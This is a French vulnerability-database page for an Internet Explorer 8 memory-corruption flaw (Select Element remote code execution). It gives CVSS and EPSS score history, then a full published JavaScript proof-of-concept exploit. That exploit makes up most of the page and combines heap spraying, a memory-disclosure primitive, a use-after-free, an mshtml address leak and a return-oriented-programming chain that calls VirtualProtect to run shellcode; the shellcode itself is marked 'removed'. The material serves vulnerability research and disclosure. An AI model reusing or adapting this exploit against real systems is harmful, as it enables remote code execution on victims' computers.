CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Microsoft Internet Explorer 8 does not properly allocate and access memory, which allows remote attackers to execute arbitrary code via vectors involving a "dereferenced memory address," aka "Select Element Remote Code Execution Vulnerability."
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
53.81%
–
–
2022-03-27
–
–
49.37%
–
–
2022-06-19
–
–
49.37%
–
–
2022-09-18
–
–
43.38%
–
–
2023-03-12
–
–
–
96.04%
–
2023-07-16
–
–
–
95.85%
–
2023-09-10
–
–
–
95.41%
–
2023-11-05
–
–
–
95.17%
–
2024-02-18
–
–
–
95.16%
–
2024-04-14
–
–
–
95.15%
–
2024-06-02
–
–
–
95.28%
–
2024-07-21
–
–
–
95.3%
–
2024-11-03
–
–
–
94.03%
–
2024-12-22
–
–
–
88.17%
–
2025-01-19
–
–
–
88.17%
–
2025-03-18
–
–
–
–
72.43%
2025-03-18
–
–
–
–
72.43,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2011-10-10 22h00 +00:00 Auteur : Ivan Fratric EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/49964/info
Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.
Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.
<html>
<head>
</head>
<body>
<script type="text/javascript">
<!--
//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";
var newstack,newstackaddr;
var fakeobj;
var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();
var optarray;
var mshtmlbase;
//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;
function strtoint(str) {
return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
function inttostr(num) {
return String.fromCharCode(num%65536,Math.floor(num/65536));
}
function crash() {
var o = new Option();
selarray[99].options.add(o,-0x20000000);
}
function readmem(addr) {
if(addr < readaddr) alert("Error, can't read that address");
return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}
function readmem2(addr,size) {
if(addr < readaddr) alert("Error, can't read that address");
return spray[readindex].substr((addr-readaddr)/2,size/2);
}
function overwrite(addr) {
try {
var index = (addr-optarryaddr)/4 - 0x40000000;
selarray[99].options.add(optarray.pop(),index);
} catch(err) {}
}
function getreadaddr() {
readaddr = 0;
var indexarray = new Array();
var tmpaddr = 0;
var i,index;
index = readmem(tmpaddr);
indexarray.push(index);
while(1) {
tmpaddr += 0x100000;
index = readmem(tmpaddr);
for(i=0;i<indexarray.length;i++) {
if(indexarray[i]==index+1) {
readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
return 1;
} else if(indexarray[i]==index-1) {
readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
return 1;
}
}
indexarray.push(index);
}
}
//leverages the vulnerability into memory disclosure
function initread() {
//overwrite something in a heap spray slide
try {
selarray[99].options.add(optarray.pop(),-100000000/4);
} catch(err) {}
//now find what and where exectly did we overwrite
readindex = -1;
var i;
for(i=1;i<200;i++) {
if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
readindex = i;
break;
}
}
if(readindex == -1) {
alert("Error overwriring first spray");
return 0;
}
var start=2,len=spray[readindex].length-2,mid;
while(len>10) {
mid = Math.round(len/2);
mid = mid - mid%2;
if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
len = mid;
} else {
start = start+mid;
len = len-mid;
//if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
}
}
for(i=start;i<(start+20);i=i+2) {
if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
break;
}
}
//overwrite the string length
try {
selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
} catch(err) {}
if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");
//readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
getreadaddr();
optarryaddr = readaddr + 100000000 + i*2;
return 1;
}
function trysploit() {
//create some helper objects
for(var i =0; i < 100; i++) {
elms.push(document.createElement('div'));
}
//force the option cache to rebuild itself
var tmp1 = selarray[99].options[70].text;
//overwrite the CTreeNode pointer
overwrite(corruptaddr);
//read the address of the option object we overwrited with
var optadr = readmem(corruptaddr);
//delete the option object...
selarray[99].options.remove(0);
CollectGarbage();
//...and allocate some strings in its place
for(var i = 0; i < elms.length; i++) {
elms[i].className = fakeobj;
}
//verify we overwrote the deleted option object successfully
if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;
alert("success, calc.exe should start once you close this message box");
//now do something with the corrupted option object
corruptedoption.parentNode.click();
}
function hs() {
//first heap spray, nop slide + shellcode
spray = new Array(200);
var pattern = unescape("%u0C0C%u0C0C");
while(pattern.length<(0x100000/2)) pattern+=pattern;
pattern = pattern.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
spray[i] = [inttostr(i)+pattern+scode].join("");
}
//fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
var asmall = new Array(10000);
pattern = "aaaa";
while(pattern.length<500) pattern+=pattern;
for(var i=0;i<10000;i++) {
asmall[i]=[pattern+pattern].join("");
}
//create some select and option elements
selarray = new Array(100);
for(var i=0;i<100;i++) {
selarray[i] = document.createElement("select");
for(var j=0;j<100;j++) {
var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
selarray[i].options.add(o,0);
}
}
//create some extra option elements
optarray = new Array(10000);
for(var i=0;i<10000;i++) {
optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
}
//enable memory disclosure
if(initread()==0) return;
//force the option cache to rebuild itself
var tmp1 = selarray[99].options[60].text;
//get the address of some option element to be corrupted, also remove
it from its select element, we don't want anything else messing with
it
corruptedoptionaddr = readmem(optarryaddr+60*4);
corruptedoption = selarray[99].options[60];
selarray[99].options.remove(60);
//get the base address of mshtml.dll based on the vtable address
inside the option object
mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
alert("base address of mshtml.dll : " + mshtmlbase.toString(16));
//we'll overwrite the pointer to the CTreeNode object, compute its address
corruptaddr = corruptedoptionaddr+0x14;
//second heap-spray, this one will act as a stack (we'll exchange
stack pointer with a pointer into this)
spray2 = new Array(200);
//some address that is likely to be inside the "stack"
newstackaddr = optarryaddr+100000000;
newstackaddr-=newstackaddr%0x1000;
newstackaddr+=0x24;
//assemble the "stack" so that it calls VirtualProtect on the firs
shellcode and then jumps into it through return-oriented-programming
newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);
while(newstack.length<(0x1000/2))
newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");
newstack = newstack.substr(0,0x1000/2);
while(newstack.length<(0x100000/2)) newstack+=newstack;
newstack = newstack.substr(0,0x100000/2-0x100);
for(var i=0;i<200;i++) {
spray2[i] = [newstack].join("");
}
//constract a fake object which will replace a deleted option object
(it has to be the same size)
//fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
//loop until we either achieve command execution or fail
for(var i=0;i<100;i++) {
trysploit();
}
alert("Exploit failed, try again");
}
hs();
-->
</script>
</body>
</html>